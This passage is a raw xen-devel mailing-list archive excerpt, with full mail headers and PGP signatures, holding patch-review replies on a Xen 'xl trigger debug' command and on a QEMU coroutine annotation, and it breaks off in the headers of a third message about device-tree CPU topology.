 ffacd0b85a97d-47f63e499c2sm27223883f8f.4.2026.07.20.03.51.41
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 03:51:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784544702; x=1785149502; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=OdpTwlIHZNIU6FyGB9ndmA6uIhXXTHA5qlaMf7inl1c=;
        b=eHWIz4CLdxmQi7mw6aH5WasYUlTqza4yV5KCLkfCmB2T9AlNa/OqHKWHbm7fULEB2+
         mA5hN9mpPT3lXG+e8zqsRvtiGx5Vu+k4jEHy8b90nEmTlFgMZCcffb9fYEFqec/c9+78
         6etd2w+LhHnVjOKYMiBwyOs5JPBWXS2eCUi7gXHktKt3BPI9274oKV8nDzXk6mtfNgx2
         4GlDjVl6rlWka7kYFzYvAxUQF05OUpQEuYuhFhLLWUxGmXKT5NSmQncCd5gSdV3QAD96
         ANHvE5GwacvhHXRAtR+zahFHcH1qo27X3zg+vb+MWfweZCHXSRqhWumshXn5qAcXanhG
         LhgA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784544702; x=1785149502;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=OdpTwlIHZNIU6FyGB9ndmA6uIhXXTHA5qlaMf7inl1c=;
        b=k2s2FJ5epkSYf9WyV9dYUkae4rjPyX47zMSfwGIKQLBX9Svz4wYgeoBxnktWxPNvq7
         tVD+gm3/QdgEnPxLLaRO4CCSvt3Sv/mvVG3FjtDwgbVxEr7sBjSTfiPF96BhtYe6L0bv
         2nxim9SJeWcEwjmeWGgU4okxHsUiFHXGFzPAluA7IXhD53P+B/YErB9iGBP4mYvIA01D
         UaK4E2T/mzNz2qXt0caiGpaH1OYMQlPAfJFbTW6FDzuNngjIZQuJNLKmB9140+6bNjgh
         SGhRhPNOVnwkVtl6zWjogcajx/vaEJlyViL/APz7XFYNzwi3MKtgC+Vf8TvmOM/ipm0L
         yhkw==
X-Forwarded-Encrypted: i=1; AHgh+Rq2Ie9ZZ3VJSDECUo2ke17JqI8B5CHdwDtj/EINnI08iZkHxuh8PXzEVQYi2Xj7cjwmzKi8MzGK/bo=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy3W1aax8JF4sF6iRz1y5tkwIw9c/pYsrZCgQnNdn7W8tFqJOPv
	kVa/ilU3wyzfl7ONkg/K5PM5IQ5SsCLfHw9mds8TBrYojIDH2W7c6oFPdq7eP87T2ha6e3bQcoh
	r/KMVKi0=
X-Gm-Gg: AfdE7cl2UHgxP1clzadgTROyjIGW3Fh7VphRbuGBLzFotJa/154IwraijmGpGEK6RnN
	aPicmw+ufu5ffxb/2E0ByD0REiBY83qPLCHV7B/TshygzX7hlQl5jy0N7II5GvwDTAdAF4/Oh6z
	etIcewoqSu6NvEZ9jfrQyAajqAUbDqd6vt5gORmwcG+iXOfC/1fpEnwdIH99oldNLNOHOBqEN4t
	d3XOoBJWW+151LNz6Z9LhPgeXLE3nmnkw4TnYuPehxaoduxOT/8Fs4NvZ63k8/NMmZHWnG9MQwq
	Am79GrgmBDXZt7ox0RjLpIAvKPAAjUmFBXaWAgBDKUG0Cuwi9r3K+s0W99e219Yo/BAZxehP8+b
	o/ujQMNw8nkG4Qxsu3OYaglvv1mWF4Spr+0b6tLJbfB7oSWVCsBNm3yQl7aTDOHqmP5N+x9ZTUF
	hUDn0kOG+o42M4JDyqUr76OHA72wXMnp6bKRew9Zi8uHxEmPkw+5TsnHN7YYmU5s8RqE26D2fOb
	C06w13uJzmyh18qykmk3ZhOTh/za6GY
X-Received: by 2002:a05:600c:8b74:b0:495:5890:8f6c with SMTP id 5b1f17b1804b1-49558909180mr64338815e9.7.1784544702182;
        Mon, 20 Jul 2026 03:51:42 -0700 (PDT)
Message-ID: <033fe556-bfcb-4b59-acc2-2cc783241ea3@suse.com>
Date: Mon, 20 Jul 2026 12:51:41 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] {libxl,xl}: Add xl trigger debug
To: Tu Dinh <ngoc-tu.dinh@vates.tech>, xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>
References: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
 <1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@vates.tech>
 <2b954e31-0551-4706-ab56-f24a8380b527@suse.com>
 <1784543928.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5@vates.tech>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7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SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <1784543928.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5@vates.tech>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------Z4eM6catzJhp7QGRgYp39wfE"
X-purgate-ID: tlsNG-42698a/1784544702-A90CD9EA-09FEE214/0/0
X-purgate-type: clean
X-purgate-size: 8592

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------Z4eM6catzJhp7QGRgYp39wfE
Content-Type: multipart/mixed; boundary="------------0fy4DhScTNzAH6cWgUShIdrH";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Tu Dinh <ngoc-tu.dinh@vates.tech>, xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>
Message-ID: <033fe556-bfcb-4b59-acc2-2cc783241ea3@suse.com>
Subject: Re: [PATCH 2/2] {libxl,xl}: Add xl trigger debug
References: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
 <1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@vates.tech>
 <2b954e31-0551-4706-ab56-f24a8380b527@suse.com>
 <1784543928.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5@vates.tech>
In-Reply-To: <1784543928.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5@vates.tech>

--------------0fy4DhScTNzAH6cWgUShIdrH
Content-Type: multipart/mixed; boundary="------------GixFWorK5wOSwlV9Rb6n2FDz"

--------------GixFWorK5wOSwlV9Rb6n2FDz
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjAuMDcuMjYgMTI6MzgsIFR1IERpbmggd3JvdGU6DQo+IE9uIDIwLzA3LzIwMjYgMTI6
MjksIErDvHJnZW4gR3Jvw58gd3JvdGU6DQo+PiBPbiAyMC4wNy4yNiAxMToyNywgVHUgRGlu
aCB3cm90ZToNCj4+PiBVc2UgWEVOX0RPTUNUTF9TRU5EVFJJR0dFUl9ERUJVRyB0byBhbGxv
dyBwcmludGluZyBkaWFnbm9zdGljcw0KPj4+IGluZm9ybWF0aW9uIG9mIGEgc3BlY2lmaWMg
ZG9tYWluLg0KPj4+DQo+Pj4gU2lnbmVkLW9mZi1ieTogVHUgRGluaCA8bmdvYy10dS5kaW5o
QHZhdGVzLnRlY2g+DQo+Pj4gLS0tDQo+Pj4gIMKgIHRvb2xzL2xpYnMvbGlnaHQvbGlieGxf
ZG9tYWluLmPCoCB8IDQgKysrKw0KPj4+ICDCoCB0b29scy9saWJzL2xpZ2h0L2xpYnhsX3R5
cGVzLmlkbCB8IDEgKw0KPj4+ICDCoCB0b29scy94bC94bF9jbWR0YWJsZS5jwqDCoMKgwqDC
oMKgwqDCoMKgwqAgfCAyICstDQo+Pj4gIMKgIDMgZmlsZXMgY2hhbmdlZCwgNiBpbnNlcnRp
b25zKCspLCAxIGRlbGV0aW9uKC0pDQo+Pj4NCj4+PiBkaWZmIC0tZ2l0IGEvdG9vbHMvbGli
cy9saWdodC9saWJ4bF9kb21ha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BhYmlsaXR5IHRvIHNl
bmQgaXQgdG8gYWxsIHZjcHVzIG9mIGEgZG9tYWluPw0KPj4NCj4+DQo+PiBKdWVyZ2VuDQo+
IA0KPiBJdCdzIGEgY3VycmVudCBsaW1pdGF0aW9uIG9mIHhsIHRyaWdnZXIgdGhhdCBpdCBj
YW4gb25seSBzZW5kIHRyaWdnZXJzDQo+IHRvIDEgdmNwdSBhdCBhIHRpbWUuIFBlcmhhcHMg
YSBzcGVjaWFsIHZjcHVpZCB2YWx1ZSBjb3VsZCBiZSBkZWZpbmVkIGZvcg0KPiB0aGlzIHB1
cnBvc2UsIHRoZW4geGwgdHJpZ2dlciBjYW4gdXNlIHRoaXMgdmFsdWUgd2hlbiAiYWxsIiBp
cyBzcGVjaWZpZWQNCj4gb24gdGhlIGNvbW1hbmQgbGluZT8NCg0KVGhlIHF1ZXN0aW9uIGlz
IHdoZXRoZXIgd2Ugd2FudCB0aGlzIHNwZWNpYWwgaGFuZGxpbmcgaW4gdGhlIGh5cGVydmlz
b3Igb3INCmluIHRoZSB0b29scy4NCg0KSSB0aGluayBpdCB3b3VsZCBiZSBiZXR0ZXIgaGFu
ZGxlZCBhdCB0b29scyBsZXZlbCwgYnV0IEknbSBub3QgZmVlbGluZyBzdHJvbmcNCmluIHRo
aXMgcmVnYXJkLg0KDQoNCkp1ZXJnZW4NCg==
--------------GixFWorK5wOSwlV9Rb6n2FDz
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoK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ndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------GixFWorK5wOSwlV9Rb6n2FDz--

--------------0fy4DhScTNzAH6cWgUShIdrH--

--------------Z4eM6catzJhp7QGRgYp39wfE
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpd/b0FAwAAAAAACgkQsN6d1ii/Ey+O
uQf/es+QSQKT2GDl4ZYGV3GvbIzV8DNwxqr6gyOYWJKSud2UjgjdwUdY++Ti5rh75FBx/bUJstZe
c/S4y8U15zJyiOPf8PtpPmLZ19cf0naCHKKItAGGZXp2ZvKYdWWafe3pTFbTQunNIQJ6bwUts/kD
0L8GJSPZWO96tIvnLESx9zVQzKJqDZyAxcv8KZ7trt+qraveneBBOVP8IXYAQ+4bCxPwibH49ly/
axhGC+ULEza0laSlkcUo2vd0Eba6YJITjeELrDpfV6Nd7v1EUD3z6qU9HPDiG+GwF6bxxqDr+IK8
A+gf+4ykJvftQomwKMFoiE8YuJW0KYPuLe3rtAp8cw==
=9cHA
-----END PGP SIGNATURE-----

--------------Z4eM6catzJhp7QGRgYp39wfE--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 12:34:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 12:34:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366553.1616473 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlnCH-0007nY-RE; Mon, 20 Jul 2026 12:34:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366553.1616473; Mon, 20 Jul 2026 12:34:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlnCH-0007nR-OK; Mon, 20 Jul 2026 12:34:13 +0000
Received: by outflank-mailman (input) for mailman id 1366553;
 Mon, 20 Jul 2026 12:34:12 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <armbru@redhat.com>) id 1wlnCG-0007nL-I3
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:34:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlnCF-007BFS-FV
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:34:11 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <armbru@redhat.com>)
 id 6a5e15bb-e002-0a2a0a5209dd-0a2a450ab90c-24
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:34:11 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <armbru@redhat.com>)
 id 6a5e15c2-f2d2-0a2a450a0019-aa0a817c8d4d-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:34:11 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-1-R918he7BM2GPpnMqC6aPAA-1; Mon,
 20 Jul 2026 08:34:06 -0400
Received: from mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.93])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 1BD621801BD0; Mon, 20 Jul 2026 12:34:04 +0000 (UTC)
Received: from blackfin.pond.sub.org (unknown [10.44.22.4])
 by mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id B43AF18001E2; Mon, 20 Jul 2026 12:34:02 +0000 (UTC)
Received: by blackfin.pond.sub.org (Postfix, from userid 1000)
 id 7262921E6920; Mon, 20 Jul 2026 14:34:00 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784550850;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=gGU6Qy8nd2q8809l6BxOtOl15iflw6AdVZLvFprQWYU=;
	b=W44GF7Kzv3r4knn3gEnHXpjWAp6w8luChBwsCa3GJ/e3/aIotmE81ZGOuX1iOUUZwO9rvs
	KhAtoibCWlchQbOxhcBZ9dc2Ojjb9YRimazHvGtZF0WigGpL5cUqhIxYL4ZuDJbYdhymLi
	02QiU0v9lJ4yqllh2neW1S8hck6PwBU=
X-MC-Unique: R918he7BM2GPpnMqC6aPAA-1
X-Mimecast-MFC-AGG-ID: R918he7BM2GPpnMqC6aPAA_1784550844
From: Markus Armbruster <armbru@redhat.com>
To: =?utf-8?Q?Marc-Andr=C3=A9?= Lureau <marcandre.lureau@redhat.com>
Cc: qemu-devel@nongnu.org,  Peter Xu <peterx@redhat.com>,  Fabiano Rosas
 <farosas@suse.de>,  Daniel P. =?utf-8?Q?Berrang=C3=A9?=
 <berrange@redhat.com>,  John Snow
 <jsnow@redhat.com>,  Vladimir Sementsov-Ogievskiy
 <vsementsov@yandex-team.ru>,  Kevin Wolf <kwolf@redhat.com>,  Hanna Reitz
 <hreitz@redhat.com>,  qemu-block@nongnu.org,  Stefan Hajnoczi
 <stefanha@redhat.com>,  Fam Zheng <fam@euphon.net>,  "Denis V. Lunev"
 <den@openvz.org>,  Christian Schoenebeck <qemu_oss@crudebyte.com>,  Greg
 Kurz <groug@kaod.org>,  "Michael S. Tsirkin" <mst@redhat.com>,  Stefano
 Stabellini <sstabellini@kernel.org>,  Anthony PERARD
 <anthony@xenproject.org>,  "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
  xen-devel@lists.xenproject.org,  Li Zhijian <lizhijian@fujitsu.com>
Subject: Re: [PATCH 1/8] monitor: annotate monitor_qmp_dispatcher_pop_any()
 as coroutine
In-Reply-To: <20260720-co-v1-1-fabb4db3c204@redhat.com> (=?utf-8?Q?=22Marc?=
 =?utf-8?Q?-Andr=C3=A9?= Lureau"'s
	message of "Mon, 20 Jul 2026 11:55:30 +0400")
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
	<20260720-co-v1-1-fabb4db3c204@redhat.com>
Date: Mon, 20 Jul 2026 14:34:00 +0200
Message-ID: <87ecgxvo07.fsf@pond.sub.org>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.93
X-Mimecast-MFC-PROC-ID: 2J7C4RecTvCX_zAfea4xpuqrQQpCM3pK2WIpXMNC-PA_1784550844
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-4011c0/1784550851-528DDCFC-7D979A63/0/0
X-purgate-type: clean
X-purgate-size: 902

Marc-Andr=C3=A9 Lureau <marcandre.lureau@redhat.com> writes:

> The function calls qemu_coroutine_yield(), and is called from
> monitor_qmp_dispatcher_co().
>
> Fixes: 60f4f62efeb ("monitor: extract request dequeuing to a new function=
")
> Signed-off-by: Marc-Andr=C3=A9 Lureau <marcandre.lureau@redhat.com>
> ---
>  monitor/qmp.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/monitor/qmp.c b/monitor/qmp.c
> index 223e0643c2a..338d37cb7e5 100644
> --- a/monitor/qmp.c
> +++ b/monitor/qmp.c
> @@ -342,7 +342,8 @@ static QMPRequest *monitor_qmp_requests_pop_any_with_=
lock(void)
>      return req_obj;
>  }
> =20
> -static QMPRequest *monitor_qmp_dispatcher_pop_any(void)
> +static QMPRequest * coroutine_fn
> +monitor_qmp_dispatcher_pop_any(void)
>  {
>      while (true) {
>          /*

Reviewed-by: Markus Armbruster <armbru@redhat.com>



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 13:59:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 13:59:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366573.1616506 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloWA-0000jo-SD; Mon, 20 Jul 2026 13:58:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366573.1616506; Mon, 20 Jul 2026 13:58:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloWA-0000jh-P2; Mon, 20 Jul 2026 13:58:50 +0000
Received: by outflank-mailman (input) for mailman id 1366573;
 Mon, 20 Jul 2026 13:58:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wloW8-0000jZ-Gr
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 13:58:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wloW7-006rcI-88
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:58:47 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e2977-bab6-0a2a0a5309dd-0a2a4501ba9a-32
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 15:58:46 +0200
Received: from [52.101.125.86]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e2993-5984-0a2a45010019-34657d561bf2-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 15:58:45 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYTP286MB3628.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:39d::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 13:58:40 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 13:58:40 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=NV19UG1HN/wyso/4gmKi8fttUh+ZHKttaJ1qfJNe+sH0y18IVbzXEVyxHJwd/QXJjRQyrZbTnh+qscw2IKJ9r/gtherLQ9FYaiU+GdVaYU6SLXfjqNSUQvRCoeEG0lFuOUreH+ufPhPuJUBMDK7fEipqC4tPF8SgZeHcTF8+eiE5HJ/diqc9kyQG/mEowQ9LnRPsAmAAZgd+04SzFdURF/9jVkfx14JQLMEHgzDkpYBR86Fg3jtK/eFRDTDIPXnla+uhFgKa78EQH9B6JkqH8YYr2uI4T7TeS5kCAPKkEA27HmvT/LdFYrsRnWjHddFo+UEJqjr6jvnzrNyWyJLrGg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=fSYn3GTdMh9uIo67hUNajliknLF5kASQdRj+mh5V/QQ=;
 b=sGvglbrkq/Mr9YNyschz9kwH+8PdIM0Xh9HtUGtVJgZyicIAOsv6xU5nQjBssZO1s46eDnAdu1eBug+9099TFd/6hopkh1wyk/GM7+k81iz/dSGA2OQ0d/HIAcKLwKIu8/3gvfgENs8o7g95xA8etMKhu9nJhAunfjFnCcX0p+//KHaskhWhpiRY2GBsuRgw6Sv0jmpn9yiBJP8QeZU9VkKjK7Gxa/KxzSlP5smQqsRUGXRBRMy4ieJpCIbLMoKl3NSkJKmhFK/cNRvlGZCm1YF0TaulEvgSE1ff/49CmUywYSaKo0wyvRY+AY9GAWBCbetCSJozvy+mAfericyJqQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=fSYn3GTdMh9uIo67hUNajliknLF5kASQdRj+mh5V/QQ=;
 b=jG4jKZAkpYMeLebHFqKq8sdmQnhGP3gxqvw6sz8ZHmJmaUCz1MhGnHiGMCyJSsEJDXboKPLLZeNoZQ2Z3RMK0YOPGCJ7RMD8IuJmuSX4wHghabkCFSoyWlnYnjXJxBj2c6sJIJI/WphRhC5qQhpBnd2yKZWymVA2Ab5FI00oZ/Q=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger.pau@citrix.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Topic: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Index: AQHdE33lRSerj/u3kU6sfibELhxcvrZwJ2MAgAPosBCAAmbKUA==
Date: Mon, 20 Jul 2026 13:58:40 +0000
Message-ID:
